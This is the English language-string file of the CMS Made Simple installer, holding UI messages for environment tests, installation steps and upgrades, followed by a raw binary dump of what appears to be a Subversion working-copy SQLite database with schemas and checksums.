$lang['fail_post_max_size'] = 'Your post_max_size of %s does not meet the minimum value of %s. A value of %s or greater is recommended, and ensure that it is larger than the upload_max_filesize';
$lang['fail_pwd_writable2'] = 'The HTTP process must be able to write to the destination directory (and to all files and directories beneath it) in order to install files. We do not have write permission to (at least) %s';
$lang['fail_register_globals'] = 'Please disable register globals in your PHP configuration';
$lang['fail_remote_url'] = 'We encountered problems connecting to a remote URL.  This will limit some of the functionality of CMS Made Simple';
$lang['fail_safe_mode'] = 'CMSMS will not operate properly in an environment where safe mode is enabled. Safe mode is deprecated as a failed mechanism, and will be removed in future versions of PHP';
$lang['fail_session_save_path_exists'] = 'The session save path variable value is invalid or the directory does not exist';
$lang['fail_session_save_path_writable'] = 'The session save path directory is not writeable';
$lang['fail_session_use_cookies'] = 'CMSMS requires that PHP be configured to store the session key in a cookie';
$lang['fail_tmpfile'] = 'The system tmpfile() function is not functioning. This is required to allow us to extract archives. The optional TMPDIR url argument can be provided to the installer to specify a writeable directory. See the README file that should be in included in this directory.';
$lang['fail_tmp_dirs_empty'] = 'The CMSMS temporary directories <em>(tmp/cache and tmp/templates_c) exist, and are not empty.  Please remove or empty them';
$lang['fail_xml_functions'] = 'The XML extension was not found. Please enable this in your PHP environment';
$lang['failed'] = 'failed';
$lang['file_get_contents'] = 'Testing for the file_get_contents function';
$lang['file_installed'] = 'Installed %s';
$lang['file_uploads'] = 'Checking for file upload support';
$lang['finished_custom_freshen_msg'] = 'Your installation has been freshened! The core files have been updated, and a new config file created. Please visit your website to ensure that everything is functioning correctly';
$lang['finished_custom_install_msg'] = 'Done! Please visit your website and login to the Admin panel.';
$lang['finished_custom_upgrade_msg'] = 'Done!  Please visit your CMSMS Admin panel, and frontend, to ensure that everything is working properly.<br/><strong>Hint:</strong> Now is a good time to create another backup.';
$lang['finished_freshen_msg'] = 'Your installation has been freshened! The core files have been updated, and a new config file created.  You can now <a href="%s">visit your website</a> or login to the <a href="%s">CMSMS Admin panel</a>.';
$lang['finished_install_msg'] = 'We are done! You can now <a href="%s">visit your website</a> or login to the <a href="%s">CMSMS admin panel</a>.';
$lang['finished_upgrade_msg'] = 'All done! Please visit your <a href="%s">website frontend</a> and the <a href="%s">Admin panel</a> to verify correct behaviour. You may also need to upgrade some third party modules.<br/><strong>Hint:</strong> Remember to create another backup after verifying correct behaviour.';
$lang['freshen'] = 'Freshen (repair) installation';
$lang['func_json'] = 'Checking for json encoding and decoding functionality';
$lang['func_md5'] = 'Checking for md5 functionality';
$lang['func_tempnam'] = 'Check for tempnam function';
$lang['func_gzopen'] = 'Check for gzopen function';
$lang['func_ziparchive'] = 'Check for ziparchive function';

# G
$lang['gd_version'] = 'GD Version';
$lang['goback'] = 'Back';

# H

# I
$lang['info_addlanguages'] = 'Select languages (in addition to English) to install. <strong>Note:</strong> not all translations are complete.';
$lang['info_adminaccount'] = 'Please provide credentials for the initial administrator account. This account will have access to all of the functionality of the CMSMS Admin console.';
$lang['info_advanced'] = 'Advanced mode enables more options in the installation procedure.';
$lang['info_dbinfo'] = 'CMS Made Simple stores a great deal of data in the database. A database connection is mandatory. Additionally, the user credentials you supply should have ALL PRIVILEGES on the specified database to allow creating, dropping and modifying tables, indexes and views.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED is a flag for PHP&quot;s error reporting that indicates that warnings should be displayed about code that is using deprecated techniques.  Although the CMSMS core attempts to ensure that we no longer use deprecated techniques, some modules may not.  We recommend that this setting be disabled in the PHP configuration';
$lang['info_errorlevel_estrict'] = 'E_STRICT is a flag for PHP&#39;s error reporting which indicates that strict coding standards should be respected. Although the CMSMS core attempts to conform to E_STRICT standards, some modules may not. We recommend that this setting be disabled in the PHP configuration';
$lang['info_installcontent'] = 'By default, this installer will create a series of sample pages, stylesheets and templates in CMSMS. The sample content provides extensive information and tips to aid in building websites with CMSMS and is useful to read. However, if you are already familiar with CMS Made Simple, disabling this option will result in a minimal set of templates, stylesheets and content pages.';
$lang['info_open_basedir_session_save_path'] = 'open_basedir is enabled in your PHP configuration. We could not properly test session capabilities. However, getting to this point in the installation process probably indicates that sessions are working okay.';
$lang['info_optional_modules'] = 'The following modules can be installed or left out of the installation if you do not wish to use them. Sample content is provided for each module.';
$lang['info_pwd_writable'] = 'This application needs write permission to the current working directory';
$lang['info_queryvar'] = 'The query variable is used internally by CMSMS to identify the page requested. In most circumstances you should not need to adjust this.';
$lang['info_sitename'] = 'The website name is used in default templates as part of the title. Please enter a human readable name for the website';
$lang['info_timezone'] = 'The timezone information is needed for time calculations and time/date displays. Please select the server timezone';
$lang['info_directory_not_created'] = 'Directory "%s" was not created';
$lang['ini_set'] = 'Testing if we can change INI settings';
$lang['install'] = 'Install';
$lang['install_attachstylesheets'] = 'Attach stylesheets to themes';
$lang['install_backupconfig'] = 'Backing up the config file';
$lang['install_createassets'] = 'Create assets structure';
$lang['install_created_index'] = 'Created index %s ... %s';
$lang['install_create_tables'] = 'Create database tables';
$lang['install_createconfig'] = 'Create new config file';
$lang['install_createcontentpages'] = 'Create default content pages';
$lang['install_created_table'] = 'Created table %s: .... %s';
$lang['install_createtablesindexes'] = 'Creating tables and indexes';
$lang['install_createtmpdirs'] = 'Create temporary directories';
$lang['install_creating_index'] = 'Created index %s';
$lang['install_default_collections'] = 'Install default collections';
$lang['install_defaultcontent'] = 'Install default content';
$lang['install_detectlanguages'] = 'Detect installed languages';
$lang['install_dropping_tables'] = 'Dropping tables';
$lang['install_dummyindexhtml'] = 'Create dummy index.html files';
$lang['install_extractfiles'] = 'Extract files from archive';
$lang['install_initevents'] = 'Create events';
$lang['install_initsitegroups'] = 'Create initial groups';
$lang['install_initsiteperms'] = 'Set initial permissions';
$lang['install_initsiteprefs'] = 'Set initial site preferences';
$lang['install_initsiteusers'] = 'Create initial user account';
$lang['install_initsiteusertags'] = 'Initial user defined tags';
$lang['install_module'] = 'Install module %s';
$lang['install_modules'] = 'Install available modules';
$lang['install_passwordsalt'] = 'Set password salt';
$lang['install_requireddata'] = 'Set initial required data';
$lang['install_schema'] = 'Create database schema';
$lang['install_setschemaver'] = 'Set schema version';
$lang['install_setsequence'] = 'Reset sequence tables';
$lang['install_setsitename'] = 'Set site name';
$lang['install_stylesheets'] = 'Create default stylesheets';
$lang['install_templates'] = 'Create default templates';
$lang['install_templatetypes'] = 'Create standard template types';
$lang['install_update_sequences'] = 'Update sequence tables';
$lang['install_updatehierarchy'] = 'Update content hierarchy positions';
$lang['install_updateseq'] = 'Update sequence for %s';
$lang['installer_ver'] = 'Installer Version';
$lang['intl_support'] = 'Check for internationalization capabilities';

# J

# K

# L
$lang['legend'] = 'Legend';

# M
$lang['magic_quotes_runtime'] = 'Ensure magic quotes are disabled';
$lang['max_execution_time'] = 'Checking PHP script max execution time';
$lang['meaning'] = 'Meaning';
$lang['memory_limit'] = 'Checking for a sufficient PHP memory limit';
$lang['msg_clearedcache'] = 'Cleared server cache';
$lang['msg_configsaved'] = 'Existing config file saved to %s';
$lang['msg_upgrade_module'] = 'Upgrading module %s';
$lang['msg_upgrademodules'] = 'Upgrading modules';
$lang['msg_yourvalue'] = 'You have: %s';
$lang['multibyte_support'] = 'Check for multibyte support';

# N
$lang['next'] = 'Next';
$lang['no'] = 'No';
$lang['none'] = 'None';

# O
$lang['open_basedir'] = 'open_basedir restrictions';
$lang['open_basedir_session_save_path'] = 'open_basedir is in enabled. Cannot test session save path.';
$lang['output_buffering'] = 'Ensuring that output buffering is enabled';

# P
$lang['pass_config_writable'] = 'The HTTP process has write permission to the config.php file';
$lang['pass_database_support'] = 'At least one compatible database driver found';
$lang['pass_func_json'] = 'json functionality detected';
$lang['pass_func_md5'] = 'md5 functionality was detected';
$lang['pass_func_tempnam'] = 'The tempnam function exists';
$lang['pass_intl_support'] = 'Internationalization capabilities appear to be enabled';
$lang['pass_memory_limit_nolimit'] = 'There is no preset PHP memory limit';
$lang['pass_multibyte_support'] = 'Multibyte support appears to be enabled';
$lang['pass_php_version'] = 'The PHP version currently configured does not meet minimum requirements. At a minimum, PHP %s is required, though we recommend %s or higher';
$lang['pass_pwd_writable'] = 'The HTTP process can write into the destination directory. This is necessary for extracting files';
$lang['password'] = 'Password';
$lang['ph_sitename'] = 'Enter a Site Name';
$lang['php_version'] = 'PHP Version';
$lang['post_max_size'] = 'Checking maximum amount of data that can be posted in one request';
$lang['prompt_addlanguages'] = 'Additional Languages';
$lang['prompt_createtables'] = 'Create Database Tables';
$lang['prompt_dbhost'] = 'Database Hostname';
$lang['prompt_dbinfo'] = 'Database Information';
$lang['prompt_dbname'] = 'Database Name';
$lang['prompt_dbpass'] = 'Password';
$lang['prompt_dbport'] = 'Database Port Number';
$lang['prompt_dbprefix'] = 'Database Table Name Prefix';
$lang['prompt_dbtype'] = 'Database Type';
$lang['prompt_dbuser'] = 'Username';
$lang['prompt_dir'] = 'Installation Directory';
$lang['prompt_installcontent'] = 'Install Sample Content';
$lang['prompt_optional_modules'] = 'Install Optional Modules';
$lang['prompt_queryvar'] = 'Query Variable';
$lang['prompt_sitename'] = 'Web Site Name';
$lang['prompt_timezone'] = 'Server Timezone';
$lang['pwd_writable'] = 'Directory Writeable';

# Q
$lang['queue_for_upgrade'] = 'Queued non core module %s for upgrade at the next step.';

# R
$lang['readme_uc'] = 'README';
$lang['register_globals'] = 'Ensuring &quot;register globals&quot; is disabled';
$lang['remote_url'] = 'Test if we can make outgoing HTTP connections';
$lang['repeatpw'] = 'Repeat password';
$lang['reset_site_preferences'] = 'Reset some site preferences';
$lang['reset_user_settings'] = 'Reset user preferences';
$lang['retry'] = 'Retry';

# S
$lang['safe_mode'] = 'Testing to ensure &quot;safe mode&quot; is disabled';
$lang['saltpasswords'] = 'Salt Passwords';
$lang['select_language'] = 'The first thing we will ask you to do is to select your preferred language from the list below. This will be used to enhance your experience during this installation sequence, but will not affect your CMSMS installation.';
$lang['send_admin_email'] = 'Send Admin login credentials email';
$lang['session_capabilities'] = 'Testing for proper session capabilities (sessions are using cookies and session save path is writeable, etc)';
$lang['session_save_path_exists'] = 'Session_save_path exists';
$lang['session_save_path_writable'] = 'Session_save_path is writeable';
$lang['session_use_cookies'] = 'Ensuring that PHP sessions use cookies';
$lang['sometests_failed'] = 'We have performed numerous tests of your current web environment. Although no critical issues were found, we recommend that the following items be corrected before continuing.';
$lang['step1_advanced'] = 'Advanced Mode';
$lang['step1_destdir'] = 'Select Directory';
$lang['step1_info_destdir'] = '<strong>Warning:</strong> This program can install or upgrade multiple installations of CMS Made Simple. It is important that you select the correct directory for installation or upgrading.';
$lang['step1_language'] = 'Select Language';
$lang['step1_title'] = 'Select Language';
$lang['step2_cmsmsfound'] = 'An installation of CMS Made Simple was found. It is possible to upgrade this installation. However, before proceeding, ensure that you have a current, VERIFIED backup of all files and of the database';
$lang['step2_cmsmsfoundnoupgrade'] = 'Although an installation of CMS Made Simple was found, it is not possible to upgrade this version using this application. The version may be too old.';
$lang['step2_confirminstall'] = 'Are you sure you would like to install CMS Made Simple';
$lang['step2_confirmupgrade'] = 'Are you sure you would like to upgrade CMS Made Simple';
$lang['step2_errorsamever'] = 'The selected directory appears to contain a CMSMS installation with the same version that is included in this script. Continuing will freshen the installation.';
$lang['step2_errortoonew'] = 'The selected directory appears to contain a CMSMS installation with a newer version than what is included in this script. Unable to proceed';
$lang['step2_info_freshen'] = 'Freshening the installation involves replacing all core files and recreating the configuration. You will be asked basic configuration information, however the database will not be touched.';
$lang['step2_installdate'] = 'Approximate installation date';
$lang['step2_install_dirnotempty2'] = 'This folder already contains some files and/or subfolders.  Though it is possible to install CMSMS here, it may inadvertently corrupt an existing application.  Please double check the contents of this folder.  For reference purposes some of the files are listed below.  Please ensure that this is correct.';
$lang['step2_hdr_upgradeinfo'] = 'Version information';
$lang['step2_info_upgradeinfo'] = 'Below are the available release notes and changelog information for each release. The buttons below will display detailed information as to what has changed in each version of CMS Made Simple. There may be further instructions or warnings in each version that could affect the upgrade process.';
$lang['step2_minupgradever'] = 'The minimum version that this application can upgrade from is: %s. You may need to upgrade your application to a newer version in stages, using another method before completing the upgrade process. Please ensure that you have a complete, verified backup before using any upgrade method.';
$lang['step2_nocmsms'] = 'We did not find an installation of CMS Made Simple in this directory. It looks like this is a new installation';
$lang['step2_nofiles'] = 'As requested, CMSMS Core files will not be processed during this process';
$lang['step2_passed'] = 'Passed';
$lang['step2_pwd'] = 'Your current working directory';
$lang['step2_schemaver'] = 'Database Schema version';
$lang['step2_version'] = 'Your version';
$lang['step3_failed'] = 'This package has performed numerous tests of your PHP environment, and one or more of those tests have failed. You will need to rectify these errors in your configuration before continuing. Once you have rectified the errors, click &quot;Retry&quot; below.';
$lang['step3_passed'] = 'This package has performed numerous tests of your PHP environment, and they have all passed. This is great news! Although this is not an all-encompassing test, you should have no difficulty running the core installation of CMSMS.';
$lang['step9_get_help'] = 'Connect with other CMSMS developers and get help in the following ways';
$lang['step9_get_support'] = 'Support channels';
$lang['step9_join_community'] = 'Join our community';
$lang['step9_love_cmsms'] = 'Love CMS Made Simple';
$lang['step9_removethis'] = '<strong>Warning</strong> For security reasons it is important that you remove the installation assistant from your browseable website as soon as you have verified that the operation has succeeded.';
$lang['step9_support_us'] = 'Click here to find out how you can support us';
$lang['symbol'] = 'Symbol';
$lang['social_message'] = 'I have successfully installed CMS Made Simple!';

# T
$lang['test_failed'] = 'A required test failed';
$lang['test_passed'] = 'A test passed <em>(passed tests are only displayed in advanced mode)</em>';
$lang['test_warning'] = 'A setting is above the required value, but below the recommended value, or...<br />A capability that may be required for some optional functionality is unavailable';
$lang['th_status'] = 'Status';
$lang['th_testname'] = 'Test';
$lang['th_value'] = 'Value';
$lang['title_error'] = 'Houston, We have a problem!';
$lang['title_step2'] = 'Step 2 - Detect existing software';
$lang['title_step3'] = 'Step 3 - Tests';
$lang['title_step4'] = 'Step 4 - Basic Configuration Information';
$lang['title_step5'] = 'Step 5 - Admin Account Information';
$lang['title_step6'] = 'Step 6 - Site Settings';
$lang['title_step7'] = 'Step 7 - Install Application Files';
$lang['title_step8'] = 'Step 8 - Database Work';
$lang['title_step9'] = 'Step 9 - Finish';
$lang['title_welcome'] = 'Welcome';
$lang['title_forum'] = 'Support Forum';
$lang['title_docs'] = 'Official Documentation';
$lang['title_api_docs'] = 'Official API Documentation';
$lang['to'] = 'to';
$lang['title_share'] = 'Share your experience with your friends.';
$lang['tmpfile'] = 'Checking for working tmpfile()';
$lang['tmp_dirs_empty'] = 'Ensure that temporary directories are empty or do not exist';

# U
$lang['upgrade'] = 'Upgrade';
$lang['upgrade_deleteoldevents'] = 'Deleting old events';
$lang['upgrading_schema'] = 'Updating database schema';
$lang['upload_max_filesize'] = 'Checking maximum size of uploaded files';
$lang['username'] = 'Username';

# V

# W
$lang['warn_disable_functions'] = 'Note: one or more PHP core functions are disabled. This can have a negative impact on your CMSMS installation, particularly with third party extensions. Please keep an eye on your error log. Your disabled functions are: <br /><br />%s';
$lang['warn_max_execution_time'] = 'Although your max execution time of %s meets or exceeds the minimum value of %s, we recommend you increase it to %s or greater';
$lang['warn_memory_limit'] = 'Your memory limit value is %s, which is above the minimum of %s. However, %s is recommended';
$lang['warn_open_basedir'] = 'open_basedir is enabled in your php configuration.  Although you may continue, CMSMS will not support installs with open_basedir restrictions.';
$lang['warn_post_max_size'] = 'Your post max size value is %s, which is above the minimum of %s, however %s is recommended. Also, please ensure that this value is larger than the upload_max_filesize';
$lang['warn_tests'] = '<strong>Note:</strong> passing all of these tests should ensure that CMSMS functions properly for most sites. However, as the site grows and more functionality is added, these minimal values may become insufficient. Additionally, third party modules may have further requirements to function properly';
$lang['warn_upload_max_filesize'] = 'Although your setting of %s is sufficient, we recommend you increase the upload_max_filesize setting in PHP to at least %s';
$lang['welcome_message'] = 'Welcome! This is the CMS Made Simple Automatic Installation Mechanism. This package will allow you to quickly and easily confirm that your web host is compatible with CMSMS and to install or upgrade to the latest version of CMS Made Simple.<br />We know that you will enjoy it.';
$lang['wizard_step1'] = 'Welcome';
$lang['wizard_step2'] = 'Detect Existing Software';
$lang['wizard_step3'] = 'Compatibility Tests';
$lang['wizard_step4'] = 'Configuration Info';
$lang['wizard_step5'] = 'Admin Account Info';
$lang['wizard_step6'] = 'Site Settings';
$lang['wizard_step7'] = 'Files';
$lang['wizard_step8'] = 'Database work';
$lang['wizard_step9'] = 'Finish';

# X
$lang['xml_functions'] = 'Checking for XML functionality';

# Y
$lang['yes'] = 'Yes';

# Z

?>
12
12
SQLite format 3   @     0                                                              0 .j       H@?	o@                                                  ''QviewNODES_CURRENTNODES_CURRENTCREATE VIEW NODES_CURRENT AS   SELECT * FROM nodes AS n     WHERE op_depth = (SELECT MAX(op_depth) FROM nodes AS n2                       WHERE n2.wc_id = n.wc_id                         AND n2.local_relpath = n.local_relpath)e'indexI_NODES_MOVEDNODESCREATE UNIQUE INDEX I_NODES_MOVED ON NODES (wc_id, moved_to, op_depth)))indexI_NODES_PARENTNODESCREATE UNIQUE INDEX I_NODES_PARENT ON NODES (wc_id, parent_relpath,                                              local_relpath, op_depth)U	tableNODESNODESCREATE TABLE NODES (   wc_id  INTEGER NOT NULL REFERENCES WCROOT (id),   local_relpath  TEXT NOT NULL,   op_depth INTEGER NOT NULL,   parent_relpath  TEXT,   repos_id  INTEGER REFERENCES REPOSITORY (id),   repos_path  TEXT,   revision  INTEGER,   presence  TEXT NOT NULL,   moved_here  INTEGER,   moved_to  TEXT,   kind  TEXT NOT NULL,   properties  BLOB,   depth  TEXT,   checksum  TEXT REFERENCES PRISTINE (checksum),   symlink_target  TEXT,   changed_revision  INTEGER,   changed_date      INTEGER,   changed_author    TEXT,   translated_size  INTEGER,   last_mod_time  INTEGER,   dav_cache  BLOB,   file_external  INTEGER,   inherited_props  BLOB,   PRIMARY KEY (wc_id, local_relpath, op_depth)   ))= indexsqlite_autoindex_NODES_1NODESbtableWC_LOCKWC_LOCKCREATE TABLE WC_LOCK (   wc_id  INTEGER NOT NULL  REFERENCES WCROOT (id),   local_dir_relpath  TEXT NOT NULL,   locked_levels  INTEGER NOT NULL DEFAULT -1,   PRIMARY KEY (wc_id, local_dir_relpath)  )-A indexsqlite_autoindex_WC_LOCK_1WC_LOCK}!!EtableWORK_QUEUEWORK_QUEUECREATE TABLE WORK_QUEUE (   id  INTEGER PRIMARY KEY AUTOINCREMENT,   work  BLOB NOT NULL   )
wtableLOCKLOCKCREATE TABLE LOCK (   repos_id  INTEGER NOT NULL REFERENCES REPOSITORY (id),   repos_relpath  TEXT NOT NULL,   lock_token  TEXT NOT NULL,   lock_owner  TEXT,   lock_comment  TEXT,   lock_date  INTEGER,   PRIMARY KEY (repos_id, repos_relpath)   )'; indexsqlite_autoindex_LOCK_1LOCK4+#'indexI_ACTUAL_PARENTACTUAL_NODECREATE UNIQUE INDEX I_ACTUAL_PARENT ON ACTUAL_NODE (wc_id, parent_relpath,                                                     local_relpath)<##?tableACTUAL_NODEACTUAL_NODECREATE TABLE ACTUAL_NODE (   wc_id  INTEGER NOT NULL REFERENCES WCROOT (id),   local_relpath  TEXT NOT NULL,   parent_relpath  TEXT,   properties  BLOB,   conflict_old  TEXT,   conflict_new  TEXT,   conflict_working  TEXT,   prop_reject  TEXT,   changelist  TEXT,   text_mod  TEXT,   tree_conflict_data  TEXT,   conflict_data  BLOB,   older_checksum  TEXT REFERENCES PRISTINE (checksum),   left_checksum  TEXT REFERENCES PRISTINE (checksum),   right_checksum  TEXT REFERENCES PRISTINE (checksum),   PRIMARY KEY (wc_id, local_relpath)   )5I# indexsqlite_autoindex_ACTUAL_NODE_1ACTUAL_NODEX)yindexI_PRISTINE_MD5PRISTINECREATE INDEX I_PRISTINE_MD5 ON PRISTINE (md5_checksum)M	mtablePRISTINEPRISTINE
CREATE TABLE PRISTINE (   checksum  TEXT NOT NULL PRIMARY KEY,   compression  INTEGER,   size  INTEGER NOT NULL,   refcount  INTEGER NOT NULL,   md5_checksum  TEXT NOT NULL   )/
C indexsqlite_autoindex_PRISTINE_1PRISTINE_+indexI_LOCAL_ABSPATHWCROOT	CREATE UNIQUE INDEX I_LOCAL_ABSPATH ON WCROOT (local_abspath)xKtableWCROOTWCROOTCREATE TABLE WCROOT (   id  INTEGER PRIMARY KEY AUTOINCREMENT,   local_abspath  TEXT UNIQUE   )+? indexsqlite_autoindex_WCROOT_1WCROOTD!]indexI_ROOTREPOSITORYCREATE INDEX I_ROOT ON REPOSITORY (root)D!]indexI_UUIDREPOSITORYCREATE INDEX I_UUID ON REPOSITORY (uuid)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)!!tableREPOSITORYREPOSITORYCREATE TABLE REPOSITORY (   id INTEGER PRIMARY KEY AUTOINCREMENT,   root  TEXT UNIQUE NOT NULL,   uuid  TEXT NOT NULL   )3G! indexsqlite_autoindex_REPOSITORY_1REPOSITORY                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      X mUhttp://svn.cmsmadesimple.org/svn/translatecenterffbaec8b-0406-0410-bd6f-d8cd2f59f08d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3m	http://svn.cmsmadesimple.org/svn/translatecenter                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            !WORK_QUEUE		WCROOT!	REPOSITORY
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  'U	ffbaec8b-0406-0410-bd6f-d8cd2f59f08d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3m	http://svn.cmsmadesimple.org/svn/translatecenter                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       	
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       	   4 D(lP4                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ]i 	Y$sha1$9b2b574de894fa79f34e6c3360c3d5883bdaa036 $md5 $2171893565d659adfc771c47933936d9]i 	Y$sha1$452579cb34b89e5ff99f063aa235d91503c761e1 F$md5 $9ac71c7065f613774e783af12e0a5d97\i 	Y$sha1$917fe7efbbc9b437dedb7c8d8441afaa95cd4878~$md5 $c709e8eaf965708c8ca3f4bb5f6aff10]
i 	Y$sha1$0ed15864535f3e96695d4dc733fa656ff2c43c8a P$md5 $a2e2046bed1a6bc27c8c42860d65e46e\	i 	Y$sha1$61a52da0736de969cfb0b08a37d125d05adcc5d0jq$md5 $3b6bf70a3ce396587ee86a80f7d3ea85]i 	Y$sha1$ecc1227d43ac759d7a6dd6ef9e062012972d3384 F$md5 $7b3611e2f29004cd7c0ba560ff036584\i 	Y$sha1$0358b59d9dfb528bb88372ee5a718edbf9ea6e85($md5 $f8a52e773dceda649d3e986b8931e131\i 	Y$sha1$bb02def8058a0a1760e2742d965bd107f815b556$md5 $9ace92ba25a9e38ca8e6551047e37530]i Y$sha1$48b537b95f22edeef9e2a1c1c2511a9e470a159b $md5 $4e638c327bf688c7956f92f60342da2f]i 	Y$sha1$9d59440f77fb0d01e65647c5afe6d20d351fe468 $md5 $3eca85fae5db43ab9e3c870718935a9c\i 	Y$sha1$460cd0290e2dd2d49df60e9784ffd227f05f1622{$md5 $49330428dce1d872094ab43f6ecbbca3\i 	Y$sha1$2ad3871308764a429d9c31413a238dac20fb6eefC$md5 $c8597239c374c0ace280f4b1134bd1d7\i 	Y$sha1$3c489ef91f90807823975bd3d737e0d334453dcf$md5 $3322024c5d5cf7214593754f34e9d1e8
   j h6j5i                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2i$sha1$9b2b574de894fa79f34e6c3360c3d5883bdaa0362i$sha1$452579cb34b89e5ff99f063aa235d91503c761e12i$sha1$917fe7efbbc9b437dedb7c8d8441afaa95cd48782i$sha1$0ed15864535f3e96695d4dc733fa656ff2c43c8a
2i$sha1$61a52da0736de969cfb0b08a37d125d05adcc5d0	2i$sha1$ecc1227d43ac759d7a6dd6ef9e062012972d33842i$sha1$0358b59d9dfb528bb88372ee5a718edbf9ea6e852i$sha1$bb02def8058a0a1760e2742d965bd107f815b5562i$sha1$48b537b95f22edeef9e2a1c1c2511a9e470a159b2i$sha1$9d59440f77fb0d01e65647c5afe6d20d351fe4682i$sha1$460cd0290e2dd2d49df60e9784ffd227f05f16222i$sha1$2ad3871308764a429d9c31413a238dac20fb6eef1i	$sha1$3c489ef91f90807823975bd3d737e0d334453dcf
    ~U*S(                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                *Y$md5 $2171893565d659adfc771c47933936d9*Y$md5 $9ac71c7065f613774e783af12e0a5d97*Y$md5 $c709e8eaf965708c8ca3f4bb5f6aff10*Y$md5 $a2e2046bed1a6bc27c8c42860d65e46e
